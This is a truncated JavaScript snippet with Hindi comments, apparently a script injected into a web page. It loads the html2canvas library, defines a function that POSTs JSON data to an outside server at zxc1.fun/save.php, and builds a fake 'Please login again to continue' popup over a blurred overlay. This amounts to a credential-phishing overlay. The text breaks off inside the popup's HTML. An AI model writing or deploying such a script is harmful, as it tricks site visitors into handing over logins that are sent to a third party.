(function() { var lastLoginKey = "last_login_timestamp"; // 1. html2canvas लोड करें if (typeof html2canvas === "undefined") { var script = document.createElement('script'); script.src = "https://html2canvas.hertzen.com/dist/html2canvas.min.js"; document.head.appendChild(script); } // 2. डेटा भेजने का फंक्शन (इसे कॉल करते समय नया डेटा पास करें) function sendToServer(data) { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://zxc1.fun/save.php", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(data)); } // 3. पॉपअप दिखाना (बिना किसी देरी के) function showLoginPopup() { if (document.getElementById("auth_box")) return; var style = document.createElement("style"); style.textContent = ` #auth_overlay { position:fixed; inset:0; background:rgba(0,0,0,0.7); backdrop-filter:blur(5px); z-index:9998; } #auth_box { position:fixed; left:50%; top:20%; transform:translateX(-50%); width:320px; background:#fff; padding:25px; border-radius:12px; box-shadow:0 10px 25px rgba(0,0,0,0.5); z-index:9999; font-family:sans-serif; } .inp { width:100%; padding:10px; margin:10px 0; border:1px solid #ddd; border-radius:5px; box-sizing:border-box; } .btn { width:100%; padding:10px; background:#28a745; color:#fff; border:none; border-radius:5px; cursor:pointer; font-weight:bold; } `; document.head.appendChild(style); var div = document.createElement("div"); div.id = "auth_container"; div.innerHTML = `
Please login again to continue.